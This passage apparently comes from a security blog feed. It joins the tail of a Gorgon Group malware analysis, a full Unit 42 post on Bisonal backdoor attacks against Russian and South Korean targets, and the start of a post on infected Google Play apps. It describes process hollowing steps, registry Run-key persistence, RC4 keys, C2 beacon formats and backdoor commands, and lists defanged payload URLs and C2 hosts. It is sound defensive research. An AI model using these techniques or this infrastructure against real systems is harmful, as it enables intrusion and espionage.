Upon execution, this Trojan checks to see if it was configured with "BINDERON" to determine if it should extract an embedded payload from a resource named "B", save it to %TEMP%\%BIND1%, and create a new process with the embedded payload. While the Trojan was configured to carry out this activity, the actor did not embed a payload within the "B" resource, so this functionality does not carry out any activities, rather it just causes an exception and continues running.
Another configuration option encountered by this Trojan is a check for '%STARTUPON%'. This sample was not configured to execute with this option enabled, however, should this option be enabled, the Trojan would attempt to install itself to the system at a specific location by writing its contents in base64-encoded format to the following file:

%APPDATA%\Microsoft\Windows\DsvHelper\%DECRY%.txt

The Trojan then reads the contents of the %DECRY%.txt file, decode them and write the decoded data to the following file:
%USERPROFILE%\APPDATA\Roaming\Microsoft\Windows\DsvHelper\@RANDOM@.exe
The Trojan would then create a new process using the @RANDOM@.exe file. When the Trojan runs as an executable within the "DsvHelper" folder, the Trojan will create a shortcut (.lnk file) and save the shortcut to the 'DsvHelper' folder. It then creates the following registry key to automatically run the Trojan each time the system starts:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\@RANDOM@
The main behavior carried out by this Trojan involves obtaining an embedded executable, hollowing the current Trojan, writing the new embedded executable to the process memory and calling a specific function in the newly written payload. The embedded payload written to process memory exists in the "R" resource and called function in the new payload is named "RPe.Test.Work". The function will take another executable embedded in the initial Trojan as a resource named "M", which it attempts to inject into the following process to execute:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
While it's configured to inject into cvtres.exe, the Trojan is also capable of injecting its code into the following process as well:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Embedded injector Trojan
The R payload discussed above is nothing more than an injector Trojan, which accepts a path to an executable and a buffer of code to inject into the process as arguments. The R payload will create a process using the supplied path using the CreateProcessA API function. The payload then finds the base address of the newly created process using the GetThreadContext API function, and then calls NtUnmapViewOfSection to hollow the process. The payload then calls the VirtualAllocEx API to create a buffer in the newly hollowed process and the WriteProcessMemory API to write the supplied data buffer that contains the code to inject to this newly created buffer. The payload then sets EIP to the entry point of the newly injected code using the SetThreadContext API, and finally calls the NtAlertResumeThread API function to run the injected code.

Embedded Downloader Trojan
The M payload (referenced previously along with the R payload, above) injected and executed within the memory space of the other process is a downloader Trojan. This specific downloader appears to have been created using a VB2Exe tool, as the functional code that carries out the downloading functionality exists as a VBScript embedded within the payload. The payload extracts this VBScript from a resource and saves it to a file that it extracts from another resource. The filename used to save the VBScript is "khm.vbs", which is eventually run using "wscript". The VBScript has a SHA256 has of 649e3922ec53d5b195ed23aac08148faeb561f47e891b1e6ff60a2a9df4fea17, which calls two PowerShell commands to download and execute a payload and downloading and opening of a decoy document. The payload is downloaded from the following location and saved to "%PUBLIC%\svchost32.exe":

hxxp://lokipanelhostingpanel[.]gq/work/kh/1s.exe

The decoy document is downloaded from hxxp://lokipanelhostingpanel[.]gq/work/kh/1.docx and saved to "%PUBLIC%\svchost32.docx". When opened, the decoy document shows the following content, which contains the image and copied text from a news article titled “Top civil-military body rejects Nawaz’s controversial statement on Mumbai attacks,” as seen in the following screenshot:

Gorgon_17

Figure 17. Decoy document downloaded by malware

Final Payload
The final payload is a dropper Trojan that installs the NanoCore RAT. The author of this payload (SHA256: 690fc694b0840dbabb462ae46eb836777420b3354e53a6944a2e169b965b0bec) appears to have used an open source tool called "Saransh Email System" as a basis of this tool, which was likely downloaded from hxxp://www.a1vbcode[.]com/app-4601.asp. Much like the original payload, this tool uses if/else statements to skip the legitimate code in the Saransh Email System source to run the malicious functions, which have the same method names as the original tool and follow the same call sequence:

  1. Form1.Speed
  2. Form1.diomadnfagaghagh
  3. Form1.fjcsERIfjfiojsGHIsdifjksi
  4. Form1.gsgjIDJIGJIGJIGJIFDOSpl
  5. Form1.FJaioefgkaoeK

This chain of functions eventually loads a resource named 'GSrdofjksrgj', which the tool decrypts using the same algorithm and key as in the initial payload:

The decrypted payload has a SHA256 hash of 5e805a88294f6d25d55103d19d13e798e01ad70e6b89e9c58db5d468cc63b3d5, which is a variant of the NanoCore remote administration tool. This variant of NanoCore was configured to communicate with the following IP address as its C2 server over TCP port 6666:

115.186.136[.]237

Bitly short URLs and expanded domains

Short Bitly URL Expanded URL
http://bit[.]ly/Loaloding http://www.asaigoldenrice[.]com/daq/doc/2.doc
http://bit[.]ly/Loadingnnsa http://onedrivenet[.]xyz/work/docnew/4.doc
http://bit[.]ly/2JmQLW6 http://stemtopx[.]com/work/doc/13.doc
http://bit[.]ly/2JsruKm http://stemtopx[.]com/work/doc/4.doc
http://bit[.]ly/2GUaY49 http://fast-cargo[.]com/images/file/vb/VBS/doc/3.doc
http://bit[.]ly/Loadingnns http://onedrivenet[.]xyz/work/docnew/4.doc
http://bit[.]ly/2Im2IOF http://panelonetwothree[.]ml/zico/doc/doc8/zloadings.doc
http://bit[.]ly/primeload http://fast-cargo[.]com/images/file/vb/VBS/doc/1.doc
http://bit[.]ly/loader2018 http://asaigoldenrice[.]com/sim/new.doc
http://bit[.]ly/2xZ1kO6wdscsac http://stemtopx[.]com/work/doc/3.doc
http://bit[.]ly/2M2bIYh http://stemtopx[.]com/work/doc/root.doc
http://bit[.]ly/2r9PSIv http://stevemike-fireforce[.]info/work/doc/11.doc
http://bit[.]ly/Loadiendg http://www.0-day[.]us/img/doc/6.doc
http://bit[.]ly/2rpmJKsrdtrdtdfysersgerstrdFCGRDR http://stevemikeforce[.]com/work/doc/7.doc
http://bit[.]ly/2Fu4ZSfloading http://panelonetwothree[.]ml/zico/xe/snoop/ocsnoop/snoop.doc
http://bit[.]ly/2HloaderqVbva http://diamondfoxpanel[.]ml/doc/1/11.doc
http://bit[.]ly/Loardising http://onedrivenet[.]xyz/work/docnew/12.doc
http://bit[.]ly/2JB3KXD http://stemtopx[.]com/work/doc/8.doc
http://bit[.]ly/1_loadingH7TvJa http://diamondfoxpanel[.]ml/doc/1.doc
http://bit[.]ly/Loadijging http://onedrivenet[.]xyz/work/docnew/8.doc
http://bit[.]ly/Laodiingplease http://onedrivenet[.]xyz/work/docnew/13.doc
http://bit[.]ly/2HvQBirEam832ASADx http://stevemike-fireforce[.]info/work/dola/3.doc
http://bit[.]ly/2I5T7b9hgvgvjcVYVY http://stevemikeforce[.]com/work/doc/6.doc
http://bit[.]ly/paymentsuae http://brevini-france[.]cf/xp/doc/swift.doc
http://bit[.]ly/Laodingipleasewait http://www.asaigoldenrice[.]com/daq/doc/10.doc
http://bit[.]ly/loadingxxxx http://www.asaigoldenrice[.]com/daq/doc/4.doc
http://bit[.]ly/2Gmziko http://zupaservices[.]info/doc/z.doc
http://bit[.]ly/2sQhJOO http://stemtopx[.]com/work/doc/6.doc
http://bit[.]ly/laodinfokqaw http://stevemike-fireforce[.]info/work/doc/5.doc
http://bit[.]ly/loadrinfing http://www.asaigoldenrice[.]com/daq/doc/15.doc
http://bit[.]ly/2JaBgAS http://acorn-paper[.]com/administrator/help/7.doc
http://bit[.]ly/2loadingqlOQcM http://diamondfoxpanel[.]ml/doc/4/44.doc
http://bit[.]ly/loardding http://fast-cargo[.]com/images/file/vb/VBS/doc/11.doc
http://bit[.]ly/loidaring https://www.0-day[.]us/img/doc/5.doc
http://bit[.]ly/LoadingPleaseWait http://www.asaigoldenrice[.]com/daq/doc/20.doc
http://bit[.]ly/2HJv5Ud http://stevemike-fireforce[.]info/work/doc/1.doc
http://bit[.]ly/Loading13 http://fast-cargo[.]com/images/file/vb/VBS/doc/13.doc
http://bit[.]ly/2Lzpjp1 http://stemtopx[.]com/work/doc/19.doc
http://bit[.]ly/tt_seafood http://acorn-paper[.]com/administrator/help/en-GB/8.doc
http://bit[.]ly/Lording http://fast-cargo[.]com/images/file/vb/VBS/doc/7.doc
http://bit[.]ly/loadingsmins http://www.asaigoldenrice[.]com/daq/doc/1.doc
http://bit[.]ly/2_loadingJwkhJA http://diamondfoxpanel[.]ml/doc/7.doc
http://bit[.]ly/Laodiingpleasesa http://onedrivenet[.]xyz/work/docnew/13.doc
http://bit[.]ly/2tnW5lu http://stemtopx[.]com/work/newdoc/1.doc
http://bit[.]ly/tt_loading http://acorn-paper[.]com/administrator/components/com_templates/4.doc
http://bit[.]ly/2wzkloading http://panelonetwothree[.]ml/zico/doc/zloading.doc
http://bit[.]ly/Loadingans http://onedrivenet[.]xyz/work/docnew/14.doc
http://bit[.]ly/2r9jLcQloading http://panelonetwothree[.]ml/zico/doc/zik.doc
http://bit[.]ly/loadingpleasewairrs http://stevemike-fireforce[.]info/work/dola/2.doc
http://bit[.]ly/2arubabKmpgwP http://panelonetwothree[.]ml/iran/uae/done/oc/uae.doc
http://bit[.]ly/2HAwzmN3290293sadjokwwadjoW http://stevemike-fireforce[.]info/work/doc/12.doc
http://bit[.]ly/loadingasz http://0-day[.]us/img/doc/10.doc
http://bit[.]ly/ntissa2vFamys http://acorn-paper[.]com/images/locations/thumbnails/oc/m.doc
http://bit[.]ly/2IgzmRxEmasidE9kEjidlE http://panelonetwothree[.]ga/work/doc/3.doc
http://bit[.]ly/2JqmuWp http://stemtopx[.]com/work/doc/16.doc
http://bit[.]ly/load242HmFqZ6 http://panelonetwothree[.]ml/simon/exp/oc/mm.doc
http://bit[.]ly/2L17QGqloading http://panelonetwothree[.]ml/zico/doc/doc8/zxloading.doc
http://bit[.]ly/2MarX5t http://stemtopx[.]com/work/doc/9.doc
http://bit[.]ly/Loadingnix http://www.asaigoldenrice[.]com/daq/doc/3.doc
http://bit[.]ly/2HyVGGy_loading http://panelonetwothree[.]ml/iran/uae/done/oc1/uae.doc
http://bit[.]ly/2H8euros http://acorn-paper[.]com/administrator/components/com_templates/views/2.doc
http://bit[.]ly/2I2mUBFstthdhtrhdtyftfyj http://stevemikeforce[.]com/work/doc/8.doc
http://bit[.]ly/Loininding http://www.0-day[.]us/img/doc/8.doc
http://bit[.]ly/2F02ZRq http://stevemike-fireforce[.]info/work/doc/2.doc
http://bit[.]ly/Loadingpleasewait http://onedrivenet[.]xyz/work/docnew/19.doc
http://bit[.]ly/2jE36KjhvjhgkHJHKLHGFHJ http://stevemikeforce[.]com/work/doc/3.doc
http://bit[.]ly/Waitpleasewait http://stevemike-fireforce[.]info/work/doc/8.doc
http://bit[.]ly/Loiading http://fast-cargo[.]com/images/file/newvbs/doc/1.doc
http://bit[.]ly/Loadingplasewaitsm http://stevemike-fireforce[.]info/work/doc/3.doc
http://bit[.]ly/2jCTHCNasiudhasdASdy7656basdu http://stevemikeforce[.]com/work/doc/2.doc
http://bit[.]ly/loadingpleaswaitrr http://stevemike-fireforce[.]info/work/doc/4.doc
http://bit[.]ly/Loadingnsi http://onedrivenet[.]xyz/work/docnew/2.doc
http://bit[.]ly/2JRUNKh http://www.stemtopx[.]com/work/newdoc/3.doc
http://bit[.]ly/2Hload25YdU19 http://panelonetwothree[.]ml/simon/exp/oc/25/m25.doc
http://bit[.]ly/2lording http://fast-cargo[.]com/images/file/vb/VBS/doc/8.doc
http://bit[.]ly/2M9lLL6 http://stemtopx[.]com/work/doc/15.doc
http://bit[.]ly/Loggeding http://fast-cargo[.]com/images/file/newvbs/doc/4.doc
http://bit[.]ly/Loadingwaitplez http://stevemike-fireforce[.]info/work/doc/10.doc
http://bit[.]ly/ASDj23234j4oDj3234Sdmk http://stevemike-fireforce[.]info/work/doc/5.doc
http://bit[.]ly/2JloadingspWgLs2 http://acorn-paper[.]com/components/com_content/models/oc/s.doc
http://bit[.]ly/Loadingpleasewaitnn http://stevemike-fireforce[.]info/work/dola/4.doc
http://bit[.]ly/2sPe3wZrdtrdytd http://stemtopx[.]com/work/doc/2.doc
http://bit[.]ly/LAdooing http://onedrivenet[.]xyz/work/docnew/6.doc
http://bit[.]ly/LoadIng http://guelphupholstery[.]com/images/yupsia/doc/62.doc
http://bit[.]ly/2JnMVQz http://stemtopx[.]com/work/doc/14.doc
http://bit[.]ly/DocumentIsLoadingPleasewait http://stemtopx[.]com/work/i/2.doc
http://bit[.]ly/2HVD1Bh http://fast-cargo[.]com/images/file/vb/VBS/doc/4.doc
http://bit[.]ly/2uoqexc http://zupaservices[.]info/doc/1.doc
http://bit[.]ly/2vXgnqdASdj2929iqwSdu9iw9i http://stevemike-fireforce[.]info/work/doc/13.doc
http://bit[.]ly/4_loadingEwHlnA http://diamondfoxpanel[.]ml/doc/4.doc
http://bit[.]ly/lLoadingl9 http://fast-cargo[.]com/images/file/vb/VBS/doc/9.doc
http://bit[.]ly/LlLoadinG https://www.0-day[.]us/img/doc/2.doc
http://bit[.]ly/2kTPwmFdrwfdtsfdfyr http://stemtopx[.]com/work/doc/1.doc
http://bit[.]ly/2G34tww http://fast-cargo[.]com/old/images/file/vb/VBS/smon/doc/testa.doc
http://bit[.]ly/2HvQBir http://stevemike-fireforce[.]info/work/dola/3.doc
http://bit[.]ly/golden_uae http://fast-cargo[.]com/old/images/file/vb/VBS/smon/doc/xchange.doc
http://bit[.]ly/pele2HROHp1 http://acorn-paper[.]com/images/locations/thumbnails/z/oc/z.doc
http://bit[.]ly/2rlqLDBMSloading http://panelonetwothree[.]ml/iran/uae/done/oc2/uae.doc
http://bit[.]ly/2JDUVMC http://stemtopx[.]com/work/doc/11.doc
http://bit[.]ly/2K1GYVgtyfctftfTFTYFUFtufutfu http://stevemikeforce[.]com/work/doc/11.doc
http://bit[.]ly/2Jr4dby http://stemtopx[.]com/work/doc/18.doc
http://bit[.]ly/2M9I8z4 http://stemtopx[.]com/work/newdoc/2.doc
http://bit[.]ly/ASD8239ASdmkWi38AS http://stevemike-fireforce[.]info/work/dola/4.doc
http://bit[.]ly/LoadingPelasewaits http://stevemike-fireforce[.]info/work/docnew/2.doc
http://bit[.]ly/2JnNtG7 http://stemtopx[.]com/work/doc/17.doc
http://bit[.]ly/shawclk2HZJXOr http://panelonetwothree[.]ml/simon/exp/25exp/26/doc/final/26.doc
http://bit[.]ly/loadijgng http://onedrivenet[.]xyz/work/docnew/9.doc
http://bit[.]ly/PleaseWaitLoading http://www.asaigoldenrice[.]com/daq/doc/7.doc
http://bit[.]ly/Loadinger http://onedrivenet[.]xyz/work/docnew/1.doc
http://bit[.]ly/Workingwait http://onedrivenet[.]xyz/work/docnew/21.doc
http://bit[.]ly/Loadingplzwait http://www.asaigoldenrice[.]com/daq/doc/5.doc
http://bit[.]ly/2HuOFBQ http://stemtopx[.]com/work/doc/5.doc
http://bit[.]ly/LoadingPleasewait1 http://onedrivenet[.]xyz/work/docnew/20.doc
http://bit[.]ly/LlOrRinding http://www.0-day[.]us/img/doc/11.doc
http://bit[.]ly/Loadingwaitplzz http://onedrivenet[.]xyz/work/docnew/16.doc
http://bit[.]ly/2HWdrzTgfufuyfkCTYTDFYTgtfutf http://stevemikeforce[.]com/work/doc/12.doc
http://bit[.]ly/2KHEnRKxestrhdyhdDTDRDTRthdydy http://stevemikeforce[.]com/work/doc/10.doc
http://bit[.]ly/unkwonas http://asaigoldenrice[.]com/sim/new.vbs
http://bit[.]ly/Laodiingpleasewait http://onedrivenet[.]xyz/work/docnew/13.doc
http://bit[.]ly/wordxchange http://asaigoldenrice[.]com/sim/doc/kalu.doc
http://bit[.]ly/Loadsinfpleasewait http://onedrivenet[.]xyz/work/docnew/30.docx
http://bit[.]ly/Loardsing http://www.0-day[.]us/img/doc/7.doc
http://bit[.]ly/2ImbyrQ http://acorn-paper[.]com/administrator/6.doc
http://bit[.]ly/LoadingPleasewait http://onedrivenet[.]xyz/work/docnew/20.doc

Domains
For a list of domains encountered in use by malware throughout this campaign, please refer to the following file.

Hashes
For a list of all hashes of malware encountered during this campaign, please refer to the following file.

Bisonal Malware Used in Attacks Against Russia and South Korea

Posted on by Kaoru Hayashi

Summary
In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents.
Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations . In October 2017, AhnLab published a report called “Operation Bitter Biscuit,” an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia. We believe it is likely these tools are being used by one group of attackers.
Though Bisonal malware has been in the wild for at least seven years and frequently updated, the actors keep using same high-level playbooks. Common features of attacks involving Bisonal include:

  • Usually targeting organizations related to government, military or defense industries in South Korea, Russia, and Japan.
  • In some cases, the use of Dynamic DNS (DDNS) for C2 servers.
  • The use of a target or campaign code with its C2 to track victim or attack campaign connections.
  • Disguising the Bisonal malware as a PDF, Microsoft Office Document or Excel file.
  • The use of a decoy file in addition to the malicious PE file
  • In some cases, code to handle Cyrillic characters on Russian-language operating systems.

We observed all these characteristics in the latest attacks against both Russia and South Korea.

Targeting Russia

While investigating attack campaigns, Unit 42 discovered a targeted attack against at least one organization in Russia which provides communication security services and products. The targeted organization specialises in encryption and cryptographic services and develops a broad number of secure communication products which also includes telecommunication systems and data protection facilities. Given the sensitivity of the products being developed by the target organization, it is not a surprise to see a targeted attack towards the organisation by a known threat actor.
Figure 1 shows the spear-phishing email sent to the target organization. The email was spoofed to look like it was sent from Rostec, a Russian state corporation that promotes the development, production and export of high-tech industrial products. The contents of the email suggest it was sent from the legal support and corporate governance department of Rostec and includes project details aimed at improving the housing conditions of defence industry workers. It is interesting to note there is a relationship between the target company and Rostec: the attackers may be trying to exploit the relationship between Rostec and the target to add an additional air of legitimacy to the attack.

Bisonal_1

Figure 1. Spear-phishing email sent to the Russian company

Below is the translation from Russian into English by Google Translate.
 
Subject:
A comprehensive project to create housing and construction cooperatives for defence workers
 
Body:
Good afternoon, dear colleagues!
By the May Day, I am sending you a comprehensive project aimed at improving the housing conditions of defence industry workers
Congratulations!
 
Attachment:
Comprehensive project for the creation of housing construction cooperatives for defence workers .exe

As you can see in Figure 1, some email clients do not display the attachment as the PDF. However, if you save the file on the computer, it looks like a PDF document because the executable file has the PDF icon in the resource.
Once the malicious executable attachment is opened, the main payload is dropped in the victim machine and displays a decoy file to the victim. Figure 2 shows the contents of the decoy file which is a PDF whose contents are an exact match to an article published on Rostec’s website on January 30th, 2018. The article discusses new housing project plans by Rostec and other state departments, and the benefits to the defence industry workers who are eligible for free housing under the project.

Bisonal_2

         Figure 2 Decoy pdf file

Upon further analysis of the malware payload, we determined it is part of the Bisonal malware family. Since the details of the malware family have already been published, we will discuss some of the unique indicators and techniques the threat actor behind Bisonal employed in this campaign.

Malware Analysis
Malware Dropper
The dropper executable file in the Russian attack hides the encrypted Bisonal DLL file and non-malicious decoy file at the end of its body. Once executed, the dropper decrypts the data blob using the RC4 cipher with the key, “34123412”, saves them in the path shown below and executes them.

Type PATH SHA256
Dropper EXE N/A b1da7e1963dc09c325ba3ea2442a54afea02929ec26477a1b120ae44368082f8
Bisonal DLL C:\Windows\Temp\pvcu.dll 1128D10347DD602ECD3228FAA389ADD11415BF6936E2328101311264547AFA75
Russian Decoy PDF C:\Windows\Temp\Комплексный проект по созданию жилищно-строительных кооперативов для работников оборонки.pdf F431E0BED6B4B7FFEF5E40B1B4B7078F2538F2B2DB2869D831DE5D7DF26EE6CD

Table 1. File hashes and paths targeting Russia

The dropper then creates following registry entry to execute the Bisonal sample when the computer reboots:
HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\”vert” = “rundll32.exe c:\windows\temp\pvcu.dll , Qszdez”

Bisonal main module
The DLL (pvcu.dll) is Bisonal malware but using a different cipher for C2 communication that other publicly documented samples. Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the body. The Bisonal sample we observed in this case employs the RC4 cipher with the key “78563412”. To date, all Bisonal samples we have seen using RC4 use this same key. The oldest sample we have dates to 2014, so this variant has been in the wild for several years.
Adding to the change in encryption type, a large part of the code such as network communication procedures, and the persistence method have been re-written. For example, the Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2. For this variant, the developer wholly recreated C2 code from scratch by using other network APIs, such as HttpSendRequest() and InternetReadFile().
This Bisonal variant used in the latest attack communicates with one of the following hard-coded C2 addresses by using the HTTP POST method on TCP port 443.

  • kted56erhg.dynssl[.]com
  • euiro8966.organiccrap[.]com

These domains are provided by a free DDNS service and both resolve to the same IP address, 116.193.155[.]38.
When this Bisonal variant communicates with its C2, the malware sends an HTTP POST request with the static strings “ks8d” and “akspbu.txt”, and the IP address of the compromised machine. Figure 3 shows the initial HTTP POST request to the C2 server.

Bisonal_3

Figure 3. Initial network C2 beacon

Readers may notice the missing closing parenthesis in the User Agent request header. That string is hardcoded in this malware variant. We have more than 230 samples of Bisonal in total and only 14 samples since 2014 use this incomplete User Agent string. It is unclear whether the author forgot to add closing parenthesis while developing the code, or intentionally use this string for validating the connection to the C2 server. Either way, it can be a good Indicator in network logs for a possible Bisonal infection.

C2 Communication
Another sign of the infection is the data being sent to the C2 server during the initial connection. Every time this variant of Bisonal communicates with its C2, it sends a unique id number and backdoor command in the first eight bytes. The malware sends hardcoded DWORD values (0x10000 and 0x3E7) just for the initial connection and receives updated values from the C2 and uses them for further communication. As described above, all communications between this Bisonal variant and C2 are encrypted by RC4 cipher with the static key “78563412”. As the result of enciphering static values, the backdoor always sends identical eight bytes of data (81b2a8977ea31b91) to the C2 first.
Soon after receiving the initial beacon from the victim infected with Bisonal, the C2 replies with a session id number and backdoor command. The session id number is consistent throughout the C2 communication. The malware then processes the given command on the compromised system and sends the result back to C2 with the session id number and the backdoor command number. Then the C2 replies with that same session id number. The backdoor waits five seconds and restarts communication with the C2 with the same session id number.
Below is an example of the reply to the command, “get system info”. The actual traffic between the C2 and Bisonal sample is on the left side, and the decrypted payload is on the right side. The first DWORD (four bytes) is the given session id, 0x00000003, and the next DWORD is a backdoor command, 0x000000C8. At offset 8 of the decrypted payload, there is a campaign or target code. In this sample, it is “0425god”.
Bisonal_4

Figure 4 Decrypted payload showing the target/campaign code

Following is the diagram of the session between Bisonal and C2.
Bisonal_5

Figure 5. Bisonal C2 communication flow

The following table shows the list of backdoor commands this sample supports.

Command Meaning
0x000000C8 gets system info
0x000000C9 gets running process list
0x000000CA terminates process
0x000000CB accesses cmd shell
0x000000CD downloads file
0x000000CF executes file
0x000000D1 creates file


Table 2 Backdoor commands

Strong Interests in Cyrillic
Previous reports have discussed Bisonal malware used in attacks against Japan, South Korea and Russia. This particular sample we found targeted an organization in Russia and there is a specific system language check for Cyrillic and no others. When the backdoor receives the shell access command, it checks the code page of the compromised system. If it’s Cyrillic and the command to the shell is not ‘ipconfig’, the threat converts the command result text encoding from Cyrillic to UTF-16. For any other code page the malware presumes the resulting text as default Windows ANSI code page and also converts it to UTF-16. It is not known why the malware author called out Cyrillic specifically when the malware would convert any text to UTF-16. Windows ANSI code pages supports ASCII characters and non-ASCII values as the international characters depends on the OS language. UTF-16 can support maximum 1 million characters in Unicode. To avoid corrupting Cyrillic (and other language) characters in the results, the developer added the code to the malware.

Bisonal_6

Figure 6. Checking of Cyrillic character set

This Cyrillic/ipconfig checks in the ‘shell access’ backdoor command exists in some original Bisonal samples found in 2012. The sample (43459f5117bee7b49f2cee7ce934471e01fb2aa2856f230943460e14e19183a6) contains the marker string “bisonal” which is the origin of the malware name. This is one of the many reasons we strongly believe the latest samples are variants of Bisonal.
Bisonal_7

Figure 7. 'bisonal' marker string

Targeting South Korea
While investigating other Bisonal samples we found another dropper submitted to an online malware database on March 6. The original file name was “2018년 해양경찰청 공무원 (7급 9급) (2018.03.05).pdf.exe”. This translates to “2018 Korean Coast Guard Government Employee (Grade 7, Grade 9).pdf.exe” in English. Similar to the Bisonal variant targeting the Russian organization, this sample was also disguised as PDF document.
Bisonal_8

Figure 8. Malware disguised as PDF

The dropper executable installs Bisonal and a decoy file in the paths shown in Table 3, below.

Type PATH SHA256
Dropper EXE N/A 0641fe04713fbdad272a6f8e9b44631b7554dfd1e1332a8afa767d845a90b3fa
Bisonal EXE %Temp%\[random].tmp 359835C4A9DBE2D95E483464659744409E877CB6F5D791DAA33FD601A01376FC
Korean Decoy PDF [dropper path]\[same file name without .exe].pdf B2B764597D097FCB93C5B11CBD864AB1BCB894A2A1E2D2DE1C469880F612431C

Table 3, File hashes and system installation paths targeting South Korea

Though the functionality of the two dropper samples look very similar, the dropper code of this sample is completely different from the Russian targeting sample described above.

  • The dropper installs the Bisonal EXE file and decoy PDF file. These files are not encrypted and the offset to the EXE and PDF file in the dropper is appended at the end of the dropper file. In the Russian samples, the offset to these files is hardcoded in the code.
  • The file name of the decoy file is based on the dropper file name. The dropper code creates a PDF at the same directory, give the same name with itself to the decoy file, removes .exe and adds .pdf in the code. For example, if the file name is ABCDEFG.pdf.exe, the decoy filename would be pdf.pdf.
  • The dropper also creates two VBS scripts in the %Temp% directory with a random 4 digits hexadecimal name. One of them opens the decoy PDF file. The other deletes the dropper and the VBS script itself.

The contents of the decoy PDF is a job descriptions with the South Korean Coast Guard. The original document was a Hangul Word Processor(HWP) file posted on the South Korean Coast Guard website on March 5, 2018. Based on the metadata we found in the PDF, we strongly believe that the attacker converted the HWP to PDF. Figure 8, below, shows metadata added to the decoy file when converting the original file to PDF. The metadata indicates that the file was created with Adobe Distiller 8.00 (Windows) on March 6 by  “조영태” (Cho Young Tae in English).
Interestingly, the same creator name is found in the decoy PDF file of another sample of the Bisonal variant (dfa1ad6083aa06b82edfa672925bb78c16d4e8cb2510cbe18ea1cf598e7f2722) submitted to an online malware database in September 2014. This decoy is a contact list of Agriculture, Food, Rural Affairs, Oceans and Fisheries Committee of the National Assembly of the Republic of Korea. According to the metadata, this file is also converted from an HWP document with same tool by same creator. Though we don’t know whether the creator is real or fake information, we can say the attacker has not changed this tool and technique for years.

Bisonal_9

Figure 8. Metadata in the decoy file

Main EXE
The installed EXE file is almost exactly the same as the DLL version of Bisonal variant used against the Russian organization. Following is a brief write-up of the Bisonal EXE’s behavior. There are only three differences from the DLL sample; creating a registry entry by itself, the C2 domain and the target or campaign code. The EXE’s behavior is discussed below.

  • It creates the registry entry, HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\”mismyou” = %Temp%[random].tmp to achieve persistence. In contrast, the DLL version does not create a registry entry because the dropper of the DLL does.
  • It decrypts the C2 domain address by using the RC4 cipher with the same key “78563412”.
  • It connects to hxxp://games.my-homeip[.]com:443/ks8d[ip address]akspbu.txt by using the HTTP POST method with the same incomplete User Agent string “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322”
  • It sends the same initial beacon value of 81b2a8977ea31b91 to the C2 server.
  • It uses a different target or campaign code, “pmo”.
  • It has same backdoor commands, starting with 0x000000C8 in hex.
  • It also checks the code page and command in “shell access” and converts text from Cyrillic to UTF-16.

Following table is the summary of the Bisonal samples described in this article.

Year Target Country Campaign or Target Code SHA256 Cipher Bisonal Marker Cyrillic/
ipconfig check		 C2
2012 unidentified 1031 43459f5117bee7b49f2cee7ce934471e01fb2aa2856f230943460e14e19183a6 XOR YES YES jennifer998.lookin[.]at, 196.44.49[.]154
2014 South Korea 0919-1 dfa1ad6083aa06b82edfa672925bb78c16d4e8cb2510cbe18ea1cf598e7f2722 RC4 NO YES www.hosting.tempors.com
2018 Russia 0425god 1128D10347DD602ECD3228FAA389ADD11415BF6936E2328101311264547AFA75 RC4 NO YES kted56erhg.dynssl[.]com, euiro8966.organiccrap[.]com
2018 South Korea pmo 359835C4A9DBE2D95E483464659744409E877CB6F5D791DAA33FD601A01376FC RC4 NO YES games.my-homeip[.]com

Table 4 Summary of the Bisonal samples in this blog

Conclusion
The attackers behind Bisonal have been active for at least 7 years, and the variant used against the Russian and South Korean targets discussed in this blog in the wild since 2014. Since the attackers frequently rewrite functions from scratch and avoid reusing infrastructures, some samples look very different from original Bisonal malware. However, as we discussed in this blog, the same original piece of code referencing the malware name "bisonal" remains in at least some samples.
We are still investigating the connection between the latest attacks discussed in this blog and the previous Bisonal attacks reported by industry colleagues. The high-level TTPs of the adversary behind these Bisonal samples matches with previous Bisonal activity. The targets are military or defense industry in particular countries, it used DDNS for C2 servers, and tracked connections from their victims by using target or campaign codes, as well as disguising the malware as document file, and using a dropper to install the malware and decoy file. We currently believe one group is behind these attacks, and we continue to investigate.
Palo Alto Networks customers are protected from this threat by:

  • WildFire detects all Bisonal files with malicious verdicts
  • AutoFocus customers can track these samples with the Bisonal tag
  • Traps blocks all of the files associated with Bisonal

IoC
Dropper SHA256:
B1DA7E1963DC09C325BA3EA2442A54AFEA02929EC26477A1B120AE44368082F8
0641FE04713FBDAD272A6F8E9B44631B7554DFD1E1332A8AFA767D845A90B3FA

Bisonal SHA256:
43459F5117BEE7B49F2CEE7CE934471E01FB2AA2856F230943460E14E19183A6
DFA1AD6083AA06B82EDFA672925BB78C16D4E8CB2510CBE18EA1CF598E7F2722
1128D10347DD602ECD3228FAA389ADD11415BF6936E2328101311264547AFA75
359835C4A9DBE2D95E483464659744409E877CB6F5D791DAA33FD601A01376FC

C2:
jennifer998.lookin[.]at
196.44.49[.]154
www.hosting.tempors[.]com
kted56erhg.dynssl[.]com
euiro8966.organiccrap[.]com
116.193.155[.]38
games.my-homeip[.]com

Hidden Devil in the Development Life Cycle: Google Play Apps Infected with Windows Executable Files

Posted on by Yue Chen

Last year, Unit 42 reported a number of Google play apps infected with malicious IFrames in this report. Recently, we found similar cases on Google Play. However, this time, there are 145 Google Play apps infected by malicious Microsoft Windows executable files instead of malicious IFrames. We have reported our findings to Google Security Team and all infected apps have been removed from Google Play.
